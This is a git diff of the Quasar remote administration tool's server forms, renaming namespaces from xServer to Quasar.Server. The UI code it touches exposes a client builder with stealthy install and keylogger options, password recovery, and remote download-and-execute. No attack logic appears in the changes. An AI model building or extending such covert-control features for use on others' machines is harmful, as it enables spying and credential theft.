a/Quasar.Server/Forms/FrmBuilder.Designer.cs b/Quasar.Server/Forms/FrmBuilder.Designer.cs index 18767d449..4f07adcaa 100644 --- a/Quasar.Server/Forms/FrmBuilder.Designer.cs +++ b/Quasar.Server/Forms/FrmBuilder.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms { partial class FrmBuilder { @@ -39,28 +41,28 @@ private void InitializeComponent() this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); this.removeHostToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.clearToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.builderTabs = new xServer.Controls.DotNetBarTabControl(); + this.builderTabs = new DotNetBarTabControl(); this.generalPage = new System.Windows.Forms.TabPage(); this.label9 = new System.Windows.Forms.Label(); - this.line6 = new xServer.Controls.Line(); + this.line6 = new Line(); this.label8 = new System.Windows.Forms.Label(); this.txtTag = new System.Windows.Forms.TextBox(); this.label7 = new System.Windows.Forms.Label(); this.lblTag = new System.Windows.Forms.Label(); this.txtMutex = new System.Windows.Forms.TextBox(); this.btnMutex = new System.Windows.Forms.Button(); - this.line5 = new xServer.Controls.Line(); + this.line5 = new Line(); this.lblMutex = new System.Windows.Forms.Label(); this.label6 = new System.Windows.Forms.Label(); this.connectionPage = new System.Windows.Forms.TabPage(); this.numericUpDownPort = new System.Windows.Forms.NumericUpDown(); this.numericUpDownDelay = new System.Windows.Forms.NumericUpDown(); - this.line3 = new xServer.Controls.Line(); + this.line3 = new Line(); this.label4 = new System.Windows.Forms.Label(); this.label3 = new System.Windows.Forms.Label(); - this.line2 = new xServer.Controls.Line(); + this.line2 = new Line(); this.label2 = new System.Windows.Forms.Label(); - this.line1 = new xServer.Controls.Line(); + this.line1 = new Line(); this.label1 = new System.Windows.Forms.Label(); this.lstHosts = new System.Windows.Forms.ListBox(); this.btnAddHost = new System.Windows.Forms.Button(); @@ -74,9 +76,9 @@ private void InitializeComponent() this.lblPassword = new System.Windows.Forms.Label(); this.installationPage = new System.Windows.Forms.TabPage(); this.chkHideSubDirectory = new System.Windows.Forms.CheckBox(); - this.line7 = new xServer.Controls.Line(); + this.line7 = new Line(); this.label10 = new System.Windows.Forms.Label(); - this.line4 = new xServer.Controls.Line(); + this.line4 = new Line(); this.label5 = new System.Windows.Forms.Label(); this.chkInstall = new System.Windows.Forms.CheckBox(); this.lblInstallName = new System.Windows.Forms.Label(); @@ -96,11 +98,11 @@ private void InitializeComponent() this.iconPreview = new System.Windows.Forms.PictureBox(); this.btnBrowseIcon = new System.Windows.Forms.Button(); this.txtIconPath = new System.Windows.Forms.TextBox(); - this.line8 = new xServer.Controls.Line(); + this.line8 = new Line(); this.label11 = new System.Windows.Forms.Label(); this.chkChangeAsmInfo = new System.Windows.Forms.CheckBox(); this.txtFileVersion = new System.Windows.Forms.TextBox(); - this.line9 = new xServer.Controls.Line(); + this.line9 = new Line(); this.lblProductName = new System.Windows.Forms.Label(); this.label12 = new System.Windows.Forms.Label(); this.chkChangeIcon = new System.Windows.Forms.CheckBox(); @@ -122,7 +124,7 @@ private void InitializeComponent() this.chkHideLogDirectory = new System.Windows.Forms.CheckBox(); this.txtLogDirectoryName = new System.Windows.Forms.TextBox(); this.lblLogDirectory = new System.Windows.Forms.Label(); - this.line10 = new xServer.Controls.Line(); + this.line10 = new Line(); this.label14 = new System.Windows.Forms.Label(); this.chkKeylogger = new System.Windows.Forms.CheckBox(); ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit(); @@ -151,7 +153,7 @@ private void InitializeComponent() // // picUAC2 // - this.picUAC2.Image = global::xServer.Properties.Resources.uac_shield; + this.picUAC2.Image = global::Quasar.Server.Properties.Resources.uac_shield; this.picUAC2.Location = new System.Drawing.Point(363, 88); this.picUAC2.Name = "picUAC2"; this.picUAC2.Size = new System.Drawing.Size(16, 20); @@ -162,7 +164,7 @@ private void InitializeComponent() // // picUAC1 // - this.picUAC1.Image = global::xServer.Properties.Resources.uac_shield; + this.picUAC1.Image = global::Quasar.Server.Properties.Resources.uac_shield; this.picUAC1.Location = new System.Drawing.Point(363, 68); this.picUAC1.Name = "picUAC1"; this.picUAC1.Size = new System.Drawing.Size(16, 20); @@ -207,7 +209,7 @@ private void InitializeComponent() // // removeHostToolStripMenuItem // - this.removeHostToolStripMenuItem.Image = global::xServer.Properties.Resources.delete; + this.removeHostToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.delete; this.removeHostToolStripMenuItem.Name = "removeHostToolStripMenuItem"; this.removeHostToolStripMenuItem.Size = new System.Drawing.Size(143, 22); this.removeHostToolStripMenuItem.Text = "Remove host"; @@ -215,7 +217,7 @@ private void InitializeComponent() // // clearToolStripMenuItem // - this.clearToolStripMenuItem.Image = global::xServer.Properties.Resources.broom; + this.clearToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.broom; this.clearToolStripMenuItem.Name = "clearToolStripMenuItem"; this.clearToolStripMenuItem.Size = new System.Drawing.Size(143, 22); this.clearToolStripMenuItem.Text = "Clear all"; @@ -272,7 +274,7 @@ private void InitializeComponent() // // line6 // - this.line6.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line6.LineAlignment = Line.Alignment.Horizontal; this.line6.Location = new System.Drawing.Point(83, 78); this.line6.Name = "line6"; this.line6.Size = new System.Drawing.Size(300, 13); @@ -335,7 +337,7 @@ private void InitializeComponent() // // line5 // - this.line5.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line5.LineAlignment = Line.Alignment.Horizontal; this.line5.Location = new System.Drawing.Point(112, 5); this.line5.Name = "line5"; this.line5.Size = new System.Drawing.Size(271, 13); @@ -431,7 +433,7 @@ private void InitializeComponent() // // line3 // - this.line3.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line3.LineAlignment = Line.Alignment.Horizontal; this.line3.Location = new System.Drawing.Point(95, 263); this.line3.Name = "line3"; this.line3.Size = new System.Drawing.Size(290, 13); @@ -459,7 +461,7 @@ private void InitializeComponent() // // line2 // - this.line2.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line2.LineAlignment = Line.Alignment.Horizontal; this.line2.Location = new System.Drawing.Point(123, 161); this.line2.Name = "line2"; this.line2.Size = new System.Drawing.Size(260, 13); @@ -477,7 +479,7 @@ private void InitializeComponent() // // line1 // - this.line1.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line1.LineAlignment = Line.Alignment.Horizontal; this.line1.Location = new System.Drawing.Point(104, 5); this.line1.Name = "line1"; this.line1.Size = new System.Drawing.Size(281, 13); @@ -630,7 +632,7 @@ private void InitializeComponent() // // line7 // - this.line7.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line7.LineAlignment = Line.Alignment.Horizontal; this.line7.Location = new System.Drawing.Point(60, 274); this.line7.Name = "line7"; this.line7.Size = new System.Drawing.Size(323, 13); @@ -648,7 +650,7 @@ private void InitializeComponent() // // line4 // - this.line4.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line4.LineAlignment = Line.Alignment.Horizontal; this.line4.Location = new System.Drawing.Point(117, 5); this.line4.Name = "line4"; this.line4.Size = new System.Drawing.Size(266, 13); @@ -861,7 +863,7 @@ private void InitializeComponent() // // line8 // - this.line8.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line8.LineAlignment = Line.Alignment.Horizontal; this.line8.Location = new System.Drawing.Point(122, 5); this.line8.Name = "line8"; this.line8.Size = new System.Drawing.Size(261, 13); @@ -898,7 +900,7 @@ private void InitializeComponent() // // line9 // - this.line9.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line9.LineAlignment = Line.Alignment.Horizontal; this.line9.Location = new System.Drawing.Point(83, 276); this.line9.Name = "line9"; this.line9.Size = new System.Drawing.Size(300, 13); @@ -1099,7 +1101,7 @@ private void InitializeComponent() // // line10 // - this.line10.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line10.LineAlignment = Line.Alignment.Horizontal; this.line10.Location = new System.Drawing.Point(72, 5); this.line10.Name = "line10"; this.line10.Size = new System.Drawing.Size(308, 13); diff --git a/Quasar.Server/Forms/FrmBuilder.cs b/Quasar.Server/Forms/FrmBuilder.cs index ec3491d62..3ab68587c 100644 --- a/Quasar.Server/Forms/FrmBuilder.cs +++ b/Quasar.Server/Forms/FrmBuilder.cs @@ -6,11 +6,11 @@ using System.Linq; using System.Threading; using System.Windows.Forms; -using xServer.Core.Build; -using xServer.Core.Data; -using xServer.Core.Helper; +using Quasar.Server.Core.Build; +using Quasar.Server.Core.Data; +using Quasar.Server.Core.Helper; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmBuilder : Form { diff --git a/Quasar.Server/Forms/FrmConnections.Designer.cs b/Quasar.Server/Forms/FrmConnections.Designer.cs index fe81d0d88..1b8199058 100644 --- a/Quasar.Server/Forms/FrmConnections.Designer.cs +++ b/Quasar.Server/Forms/FrmConnections.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms { partial class FrmConnections { @@ -33,7 +35,7 @@ private void InitializeComponent() this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.closeConnectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.lstConnections = new xServer.Controls.AeroListView(); + this.lstConnections = new AeroListView(); this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -53,7 +55,7 @@ private void InitializeComponent() // // refreshToolStripMenuItem // - this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; this.refreshToolStripMenuItem.Size = new System.Drawing.Size(168, 22); this.refreshToolStripMenuItem.Text = "Refresh"; @@ -61,7 +63,7 @@ private void InitializeComponent() // // closeConnectionToolStripMenuItem // - this.closeConnectionToolStripMenuItem.Image = global::xServer.Properties.Resources.uac_shield; + this.closeConnectionToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.uac_shield; this.closeConnectionToolStripMenuItem.Name = "closeConnectionToolStripMenuItem"; this.closeConnectionToolStripMenuItem.Size = new System.Drawing.Size(168, 22); this.closeConnectionToolStripMenuItem.Text = "Close Connection"; diff --git a/Quasar.Server/Forms/FrmConnections.cs b/Quasar.Server/Forms/FrmConnections.cs index d1ae37e81..e9150cf6b 100644 --- a/Quasar.Server/Forms/FrmConnections.cs +++ b/Quasar.Server/Forms/FrmConnections.cs @@ -3,11 +3,11 @@ using System.Windows.Forms; using Quasar.Common.Messages; using Quasar.Common.Models; -using xServer.Core.Commands; -using xServer.Core.Helper; -using xServer.Core.Networking; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmConnections : Form { diff --git a/Quasar.Server/Forms/FrmDownloadAndExecute.Designer.cs b/Quasar.Server/Forms/FrmDownloadAndExecute.Designer.cs index d3ad49b64..b2ffc443a 100644 --- a/Quasar.Server/Forms/FrmDownloadAndExecute.Designer.cs +++ b/Quasar.Server/Forms/FrmDownloadAndExecute.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmDownloadAndExecute { diff --git a/Quasar.Server/Forms/FrmDownloadAndExecute.cs b/Quasar.Server/Forms/FrmDownloadAndExecute.cs index b0a353a3f..2d9ac108b 100644 --- a/Quasar.Server/Forms/FrmDownloadAndExecute.cs +++ b/Quasar.Server/Forms/FrmDownloadAndExecute.cs @@ -1,8 +1,8 @@ using System; using System.Windows.Forms; -using xServer.Core.Helper; +using Quasar.Server.Core.Helper; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmDownloadAndExecute : Form { diff --git a/Quasar.Server/Forms/FrmFileManager.Designer.cs b/Quasar.Server/Forms/FrmFileManager.Designer.cs index 749d64837..73af32fdc 100644 --- a/Quasar.Server/Forms/FrmFileManager.Designer.cs +++ b/Quasar.Server/Forms/FrmFileManager.Designer.cs @@ -1,6 +1,6 @@ -using xServer.Controls; +using Quasar.Server.Controls; -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmFileManager { @@ -51,12 +51,12 @@ private void InitializeComponent() this.cancelToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.clearToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.imgListTransfers = new System.Windows.Forms.ImageList(this.components); - this.TabControlFileManager = new xServer.Controls.DotNetBarTabControl(); + this.TabControlFileManager = new DotNetBarTabControl(); this.tabFileExplorer = new System.Windows.Forms.TabPage(); this.btnRefresh = new System.Windows.Forms.Button(); this.lblPath = new System.Windows.Forms.Label(); this.txtPath = new System.Windows.Forms.TextBox(); - this.lstDirectory = new xServer.Controls.AeroListView(); + this.lstDirectory = new AeroListView(); this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hSize = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -64,7 +64,7 @@ private void InitializeComponent() this.cmbDrives = new System.Windows.Forms.ComboBox(); this.tabTransfers = new System.Windows.Forms.TabPage(); this.btnOpenDLFolder = new System.Windows.Forms.Button(); - this.lstTransfers = new xServer.Controls.AeroListView(); + this.lstTransfers = new AeroListView(); this.hID = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hTransferType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -98,7 +98,7 @@ private void InitializeComponent() // downloadToolStripMenuItem // this.downloadToolStripMenuItem.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.downloadToolStripMenuItem.Image = global::xServer.Properties.Resources.download; + this.downloadToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.download; this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem"; this.downloadToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.downloadToolStripMenuItem.Text = "Download"; @@ -106,7 +106,7 @@ private void InitializeComponent() // // uploadToolStripMenuItem // - this.uploadToolStripMenuItem.Image = global::xServer.Properties.Resources.upload; + this.uploadToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.upload; this.uploadToolStripMenuItem.Name = "uploadToolStripMenuItem"; this.uploadToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.uploadToolStripMenuItem.Text = "Upload"; @@ -119,7 +119,7 @@ private void InitializeComponent() // // executeToolStripMenuItem // - this.executeToolStripMenuItem.Image = global::xServer.Properties.Resources.run; + this.executeToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.run; this.executeToolStripMenuItem.Name = "executeToolStripMenuItem"; this.executeToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.executeToolStripMenuItem.Text = "Execute"; @@ -127,7 +127,7 @@ private void InitializeComponent() // // renameToolStripMenuItem // - this.renameToolStripMenuItem.Image = global::xServer.Properties.Resources.textfield_rename; + this.renameToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.textfield_rename; this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; this.renameToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.renameToolStripMenuItem.Text = "Rename"; @@ -135,7 +135,7 @@ private void InitializeComponent() // // deleteToolStripMenuItem // - this.deleteToolStripMenuItem.Image = global::xServer.Properties.Resources.delete; + this.deleteToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.delete; this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem"; this.deleteToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.deleteToolStripMenuItem.Text = "Delete"; @@ -148,7 +148,7 @@ private void InitializeComponent() // // addToStartupToolStripMenuItem // - this.addToStartupToolStripMenuItem.Image = global::xServer.Properties.Resources.application_add; + this.addToStartupToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_add; this.addToStartupToolStripMenuItem.Name = "addToStartupToolStripMenuItem"; this.addToStartupToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.addToStartupToolStripMenuItem.Text = "Add to Startup"; @@ -161,7 +161,7 @@ private void InitializeComponent() // // refreshToolStripMenuItem // - this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; this.refreshToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.refreshToolStripMenuItem.Text = "Refresh"; @@ -217,7 +217,7 @@ private void InitializeComponent() // // cancelToolStripMenuItem // - this.cancelToolStripMenuItem.Image = global::xServer.Properties.Resources.cancel; + this.cancelToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; this.cancelToolStripMenuItem.Name = "cancelToolStripMenuItem"; this.cancelToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.cancelToolStripMenuItem.Text = "Cancel"; @@ -225,7 +225,7 @@ private void InitializeComponent() // // clearToolStripMenuItem // - this.clearToolStripMenuItem.Image = global::xServer.Properties.Resources.broom; + this.clearToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.broom; this.clearToolStripMenuItem.Name = "clearToolStripMenuItem"; this.clearToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.clearToolStripMenuItem.Text = "Clear transfers"; @@ -273,7 +273,7 @@ private void InitializeComponent() // this.btnRefresh.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.btnRefresh.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.btnRefresh.Image = global::xServer.Properties.Resources.refresh; + this.btnRefresh.Image = global::Quasar.Server.Properties.Resources.refresh; this.btnRefresh.ImageAlign = System.Drawing.ContentAlignment.BottomCenter; this.btnRefresh.Location = new System.Drawing.Point(682, 8); this.btnRefresh.Name = "btnRefresh"; diff --git a/Quasar.Server/Forms/FrmFileManager.cs b/Quasar.Server/Forms/FrmFileManager.cs index fa810ef0a..27ecbef27 100644 --- a/Quasar.Server/Forms/FrmFileManager.cs +++ b/Quasar.Server/Forms/FrmFileManager.cs @@ -1,18 +1,18 @@ -using Quasar.Common.Enums; -using Quasar.Common.Messages; -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.IO; using System.Windows.Forms; -using xServer.Controls; -using xServer.Core.Commands; -using xServer.Core.Helper; -using xServer.Core.Networking; -using xServer.Models; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Controls; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; +using Quasar.Server.Models; using Process = System.Diagnostics.Process; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmFileManager : Form { diff --git a/Quasar.Server/Forms/FrmKeylogger.Designer.cs b/Quasar.Server/Forms/FrmKeylogger.Designer.cs index ce854a2d6..e905b6461 100644 --- a/Quasar.Server/Forms/FrmKeylogger.Designer.cs +++ b/Quasar.Server/Forms/FrmKeylogger.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmKeylogger { diff --git a/Quasar.Server/Forms/FrmKeylogger.cs b/Quasar.Server/Forms/FrmKeylogger.cs index 75d6e83ba..b01d77c49 100644 --- a/Quasar.Server/Forms/FrmKeylogger.cs +++ b/Quasar.Server/Forms/FrmKeylogger.cs @@ -1,13 +1,13 @@ -using Quasar.Common.Messages; -using System; +using System; using System.Collections.Generic; using System.IO; using System.Windows.Forms; -using xServer.Core.Commands; -using xServer.Core.Helper; -using xServer.Core.Networking; +using Quasar.Common.Messages; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmKeylogger : Form { diff --git a/Quasar.Server/Forms/FrmMain.Designer.cs b/Quasar.Server/Forms/FrmMain.Designer.cs index 593f985bf..b8f3bdc59 100644 --- a/Quasar.Server/Forms/FrmMain.Designer.cs +++ b/Quasar.Server/Forms/FrmMain.Designer.cs @@ -1,6 +1,6 @@ -using xServer.Controls; +using Quasar.Server.Controls; -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmMain { @@ -70,7 +70,7 @@ private void InitializeComponent() this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel(); this.statusStrip = new System.Windows.Forms.StatusStrip(); this.listenToolStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); - this.lstClients = new xServer.Controls.AeroListView(); + this.lstClients = new AeroListView(); this.hIP = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hTag = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hUserPC = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -185,7 +185,7 @@ private void InitializeComponent() // // startupManagerToolStripMenuItem // - this.startupManagerToolStripMenuItem.Image = global::xServer.Properties.Resources.startup_programs; + this.startupManagerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.startup_programs; this.startupManagerToolStripMenuItem.Name = "startupManagerToolStripMenuItem"; this.startupManagerToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.startupManagerToolStripMenuItem.Text = "Startup Manager"; @@ -209,7 +209,7 @@ private void InitializeComponent() // // connectionsToolStripMenuItem // - this.connectionsToolStripMenuItem.Image = global::xServer.Properties.Resources.transmit_blue; + this.connectionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.transmit_blue; this.connectionsToolStripMenuItem.Name = "connectionsToolStripMenuItem"; this.connectionsToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.connectionsToolStripMenuItem.Text = "TCP Connections"; @@ -217,7 +217,7 @@ private void InitializeComponent() // // reverseProxyToolStripMenuItem // - this.reverseProxyToolStripMenuItem.Image = global::xServer.Properties.Resources.server_link; + this.reverseProxyToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.server_link; this.reverseProxyToolStripMenuItem.Name = "reverseProxyToolStripMenuItem"; this.reverseProxyToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.reverseProxyToolStripMenuItem.Text = "Reverse Proxy"; @@ -225,7 +225,7 @@ private void InitializeComponent() // // registryEditorToolStripMenuItem // - this.registryEditorToolStripMenuItem.Image = global::xServer.Properties.Resources.registry; + this.registryEditorToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.registry; this.registryEditorToolStripMenuItem.Name = "registryEditorToolStripMenuItem"; this.registryEditorToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.registryEditorToolStripMenuItem.Text = "Registry Editor"; @@ -233,7 +233,7 @@ private void InitializeComponent() // // elevateClientPermissionsToolStripMenuItem // - this.elevateClientPermissionsToolStripMenuItem.Image = global::xServer.Properties.Resources.uac_shield; + this.elevateClientPermissionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.uac_shield; this.elevateClientPermissionsToolStripMenuItem.Name = "elevateClientPermissionsToolStripMenuItem"; this.elevateClientPermissionsToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.elevateClientPermissionsToolStripMenuItem.Text = "Elevate Client Permissions"; @@ -250,14 +250,14 @@ private void InitializeComponent() this.shutdownToolStripMenuItem, this.restartToolStripMenuItem, this.standbyToolStripMenuItem}); - this.actionsToolStripMenuItem.Image = global::xServer.Properties.Resources.actions; + this.actionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.actions; this.actionsToolStripMenuItem.Name = "actionsToolStripMenuItem"; this.actionsToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.actionsToolStripMenuItem.Text = "Actions"; // // shutdownToolStripMenuItem // - this.shutdownToolStripMenuItem.Image = global::xServer.Properties.Resources.shutdown; + this.shutdownToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.shutdown; this.shutdownToolStripMenuItem.Name = "shutdownToolStripMenuItem"; this.shutdownToolStripMenuItem.Size = new System.Drawing.Size(128, 22); this.shutdownToolStripMenuItem.Text = "Shutdown"; @@ -265,7 +265,7 @@ private void InitializeComponent() // // restartToolStripMenuItem // - this.restartToolStripMenuItem.Image = global::xServer.Properties.Resources.restart; + this.restartToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.restart; this.restartToolStripMenuItem.Name = "restartToolStripMenuItem"; this.restartToolStripMenuItem.Size = new System.Drawing.Size(128, 22); this.restartToolStripMenuItem.Text = "Restart"; @@ -273,7 +273,7 @@ private void InitializeComponent() // // standbyToolStripMenuItem // - this.standbyToolStripMenuItem.Image = global::xServer.Properties.Resources.standby; + this.standbyToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.standby; this.standbyToolStripMenuItem.Name = "standbyToolStripMenuItem"; this.standbyToolStripMenuItem.Size = new System.Drawing.Size(128, 22); this.standbyToolStripMenuItem.Text = "Standby"; @@ -308,7 +308,7 @@ private void InitializeComponent() // // keyloggerToolStripMenuItem // - this.keyloggerToolStripMenuItem.Image = global::xServer.Properties.Resources.logger; + this.keyloggerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.logger; this.keyloggerToolStripMenuItem.Name = "keyloggerToolStripMenuItem"; this.keyloggerToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.keyloggerToolStripMenuItem.Text = "Keylogger"; @@ -330,14 +330,14 @@ private void InitializeComponent() this.remoteExecuteToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.localFileToolStripMenuItem, this.webFileToolStripMenuItem}); - this.remoteExecuteToolStripMenuItem.Image = global::xServer.Properties.Resources.lightning; + this.remoteExecuteToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.lightning; this.remoteExecuteToolStripMenuItem.Name = "remoteExecuteToolStripMenuItem"; this.remoteExecuteToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.remoteExecuteToolStripMenuItem.Text = "Remote Execute"; // // localFileToolStripMenuItem // - this.localFileToolStripMenuItem.Image = global::xServer.Properties.Resources.drive_go; + this.localFileToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.drive_go; this.localFileToolStripMenuItem.Name = "localFileToolStripMenuItem"; this.localFileToolStripMenuItem.Size = new System.Drawing.Size(132, 22); this.localFileToolStripMenuItem.Text = "Local File..."; @@ -345,7 +345,7 @@ private void InitializeComponent() // // webFileToolStripMenuItem // - this.webFileToolStripMenuItem.Image = global::xServer.Properties.Resources.world_go; + this.webFileToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.world_go; this.webFileToolStripMenuItem.Name = "webFileToolStripMenuItem"; this.webFileToolStripMenuItem.Size = new System.Drawing.Size(132, 22); this.webFileToolStripMenuItem.Text = "Web File..."; diff --git a/Quasar.Server/Forms/FrmMain.cs b/Quasar.Server/Forms/FrmMain.cs index be3b2ee75..66b65d30a 100644 --- a/Quasar.Server/Forms/FrmMain.cs +++ b/Quasar.Server/Forms/FrmMain.cs @@ -7,16 +7,16 @@ using Quasar.Common.Enums; using Quasar.Common.IO; using Quasar.Common.Messages; -using xServer.Core.Commands; -using xServer.Core.Cryptography; -using xServer.Core.Data; -using xServer.Core.Extensions; -using xServer.Core.Helper; -using xServer.Core.Networking; -using xServer.Core.Networking.Utilities; -using xServer.Core.Utilities; - -namespace xServer.Forms +using Quasar.Server.Core.Cryptography; +using Quasar.Server.Core.Data; +using Quasar.Server.Core.Extensions; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; +using Quasar.Server.Core.Networking.Utilities; +using Quasar.Server.Core.Utilities; + +namespace Quasar.Server.Forms { public partial class FrmMain : Form { @@ -135,7 +135,7 @@ private void lstClients_SelectedIndexChanged(object sender, EventArgs e) UpdateWindowTitle(); } - private void ServerState(Server server, bool listening, ushort port) + private void ServerState(Core.Networking.Server server, bool listening, ushort port) { try { diff --git a/Quasar.Server/Forms/FrmPasswordRecovery.Designer.cs b/Quasar.Server/Forms/FrmPasswordRecovery.Designer.cs index 3d65acd7f..ff7deee80 100644 --- a/Quasar.Server/Forms/FrmPasswordRecovery.Designer.cs +++ b/Quasar.Server/Forms/FrmPasswordRecovery.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms { partial class FrmPasswordRecovery { @@ -46,7 +48,7 @@ private void InitializeComponent() this.groupBox2 = new System.Windows.Forms.GroupBox(); this.lblInfo = new System.Windows.Forms.Label(); this.txtFormat = new System.Windows.Forms.TextBox(); - this.lstPasswords = new xServer.Controls.AeroListView(); + this.lstPasswords = new AeroListView(); this.hIdentification = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hURL = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hUser = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 